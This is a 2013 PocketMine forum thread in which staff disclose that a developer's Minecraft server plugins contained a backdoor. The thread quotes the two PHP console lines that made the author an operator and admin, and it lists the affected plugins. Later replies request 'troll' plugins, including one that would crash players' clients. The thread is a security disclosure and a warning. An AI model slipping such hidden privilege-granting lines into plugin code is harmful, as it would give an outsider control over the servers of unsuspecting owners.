Advertisement
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

[SECURITY] KevinWang_China's plugins include OP to himself

Comments in 'Plugin Development' started by shoghicp, Aug 29, 2013.

Thread Status:
Not open for further replies.
  1. shoghicp
    Offline

    shoghicp Staff Member PocketMine Team

    Joined:
    Aug 22, 2013
    Posts:
    436
    Plugins:
    14
    Minecraft User:
    shoghicp
    A few minutes ago, @sekjun9878 pointed me a code that was found on KevinWang_China's plugins.

    PHP:
    $this->server->api->console->run("op KevinWang_China");
    $this->server->api->console->run("ppplayer KevinWang_China ADMIN");
    Those to lines give his player full permissions on PocketMine-MP servers that use his plugins and PermissionPlus. We urge server owners to remove his plugins (including modifications to the source code) . To do so, you can grab the latest PocketMine-MP release.

    Plugins affected:
    • Vanish Plugin
    • MultiWorld API plugin (There is an alternative for it, SimpleWorlds)
    • Portal-To-Portal plugin
  2. SpartanNova
    Offline

    SpartanNova New Member

    Joined:
    Aug 29, 2013
    Posts:
    3
    Minecraft User:
    xXSparanNovaXx
    Thanks for the information. Saw this on Twitter.
  3. Rbot427
    Offline

    Rbot427 New Member

    Joined:
    Aug 29, 2013
    Posts:
    1
    Minecraft User:
    Rbot427
    This problem will be dealt with on the minecraft forums.
  4. Robert
    Offline

    Robert New Member

    Joined:
    Aug 22, 2013
    Posts:
    13
    Nice catch sek, glad to see this guy was caught before he did anything too bad.
    PEMapModder and sekjun9878 like this.
  5. ArcaneKnight97
    Offline

    ArcaneKnight97 Active Member Plugin Developer

    Joined:
    Aug 24, 2013
    Posts:
    46
    Plugins:
    5
    Minecraft User:
    redheadedfury
    i was going to look into his plugin today , good job !!
  6. Darunia18
    Offline

    Darunia18 Staff Member Sectional Moderator

    Joined:
    Aug 23, 2013
    Posts:
    755
    Plugins:
    2
    Minecraft User:
    Darunia18
    I saw this on Twitter before. As I said, I always thought this guy was a bit sketchy. I was actually looking at his vanish plugin a few days ago, but I never got around to downloading it. Good thing I didn't!
    ArcaneKnight97 likes this.
  7. JassperBeastHD
    Offline

    JassperBeastHD Banned

    Joined:
    Aug 27, 2013
    Posts:
    436
    Minecraft User:
    JassperBeastHD
    OMG!!!!!!! That crap!!! His plugin corrupt my SERVER 7 times!!!! so i keep reIntalling pocketmine :mad:
  8. JassperBeastHD
    Offline

    JassperBeastHD Banned

    Joined:
    Aug 27, 2013
    Posts:
    436
    Minecraft User:
    JassperBeastHD
    Plugin maker! Can you make a Troll plugin with Vanish and Disguise better thatn Kevin's
  9. JassperBeastHD
    Offline

    JassperBeastHD Banned

    Joined:
    Aug 27, 2013
    Posts:
    436
    Minecraft User:
    JassperBeastHD
    Can you Fix his plugin and make it better! :)
  10. ArcaneKnight97
    Offline

    ArcaneKnight97 Active Member Plugin Developer

    Joined:
    Aug 24, 2013
    Posts:
    46
    Plugins:
    5
    Minecraft User:
    redheadedfury
    Me? Honestly no .... I have no idea how you are supposed to make a player vanish / go invisable or change into a mob ... I don't even know if Kevin's plugins did any of these things , most likely he just had the original source then added the commands to be executed to get admin privileges , but ill have a look tomorrow ,if I have time , at his plugin to see what he actually changed
  11. JassperBeastHD
    Offline

    JassperBeastHD Banned

    Joined:
    Aug 27, 2013
    Posts:
    436
    Minecraft User:
    JassperBeastHD
    Thx but Can you make a Trolling plugin that the iron can make player on fire or hit them and go to thesky? :)
  12. ArcaneKnight97
    Offline

    ArcaneKnight97 Active Member Plugin Developer

    Joined:
    Aug 24, 2013
    Posts:
    46
    Plugins:
    5
    Minecraft User:
    redheadedfury
    What ?o.0 no more messages this is spamming now , this thread isn't for plugin requests XD
    PocketKiller and PEMapModder like this.
  13. KnownUnown
    Offline

    KnownUnown Active Member Plugin Developer

    Joined:
    Aug 22, 2013
    Posts:
    65
    Plugins:
    1
    Minecraft User:
    KnownUnown
    @ArcaneKnight97:
    Kevin's plugins were his, and they actually do as they intended (save for the automatic OP'ing, that was unfortunate). I'm not exactly familiar with how it works, but it has to do with teleporting the seeable player entity somewhere else, and keeping the actual player in the same position.
  14. ArcaneKnight97
    Offline

    ArcaneKnight97 Active Member Plugin Developer

    Joined:
    Aug 24, 2013
    Posts:
    46
    Plugins:
    5
    Minecraft User:
    redheadedfury
    I know :D I wasn't planning on re-releasing it or anything seeing as I wouldn't be able to understand how we did it also it would be kinda suspicous XD
    UltimateMcraft likes this.
  15. Snake1999
    Offline

    Snake1999 Plugin Developer

    Joined:
    Aug 24, 2013
    Posts:
    25
    Plugins:
    1
    Minecraft User:
    _Snake1999
    WTF?!I have to delete his/her plugins in my server quickly;)
  16. Snake1999
    Offline

    Snake1999 Plugin Developer

    Joined:
    Aug 24, 2013
    Posts:
    25
    Plugins:
    1
    Minecraft User:
    _Snake1999
    I saw a plugin names SuperTroll on another forum with a feature which can crash a player's client(PC plugin)and can someone make it on PocketMine?
  17. JassperBeastHD
    Offline

    JassperBeastHD Banned

    Joined:
    Aug 27, 2013
    Posts:
    436
    Minecraft User:
    JassperBeastHD
    Can someone just erase the oping KevinWang_China i could ban him so he cant join and be admin
  18. VanishedKevin
    Offline

    VanishedKevin Banned

    Joined:
    Aug 27, 2013
    Posts:
    279
    Minecraft User:
    VanishedKevin
    Sorry about that. I already removed those two lines, now it should be good.
  19. shoghicp
    Offline

    shoghicp Staff Member PocketMine Team

    Joined:
    Aug 22, 2013
    Posts:
    436
    Plugins:
    14
    Minecraft User:
    shoghicp
    That is done by PocketMine. Is my way to teleport players so the chat is not spammed. he only uses Player::Teleport()
    ArcaneKnight97 likes this.
  20. JassperBeastHD
    Offline

    JassperBeastHD Banned

    Joined:
    Aug 27, 2013
    Posts:
    436
    Minecraft User:
    JassperBeastHD
Thread Status:
Not open for further replies.

Share This Page

Advertisement